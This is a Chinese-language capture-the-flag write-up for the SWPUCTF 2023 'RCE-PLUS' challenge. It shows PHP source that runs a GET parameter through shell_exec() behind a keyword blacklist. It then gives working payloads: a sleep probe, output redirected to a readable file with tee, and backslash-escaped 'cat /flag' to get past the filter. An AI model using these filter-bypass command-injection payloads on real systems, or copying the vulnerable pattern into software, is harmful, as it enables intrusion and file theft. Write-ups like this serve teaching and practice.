【SWPUCTF 2023 秋季新生赛】RCE-PLUS

Contents

[SWPUCTF 2023 秋季新生赛]RCE-PLUS

思路

  • 源码

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    
    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    function strCheck($cmd)
    {
        if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
            return($cmd);
        }
        else{
            die("i hate this");      
          }
    }
    $cmd=$_GET['cmd'];
    strCheck($cmd);
    shell_exec($cmd);
    ?> 

    过滤了很多东西,但是空格什么的没过滤

    发现是用shell_exec()无回显的命令执行,所以把文件写入txt看结果

  • 判断指令

    1
    
    ?cmd=ls / | sleep 5
  • 把回显输入文本文件

    两种方法

    1
    2
    
    ?cmd=ls / | tee 1.txt
    ?cmd=ls / > tee 1.txt

    直接访问

  • 绕过对cat和flag的过滤

    反斜杠绕过

    1
    2
    
    ?cmd=c\at /fl\ag | tee 2.txt
    ?cmd=c\at /fl\ag > tee 2.txt

Payload

1
2
?cmd=ls / | tee 1.txt
?cmd=c\at /fl\ag | tee 2.txt

总结

  • 无回显RCE
  • WAF绕过
0%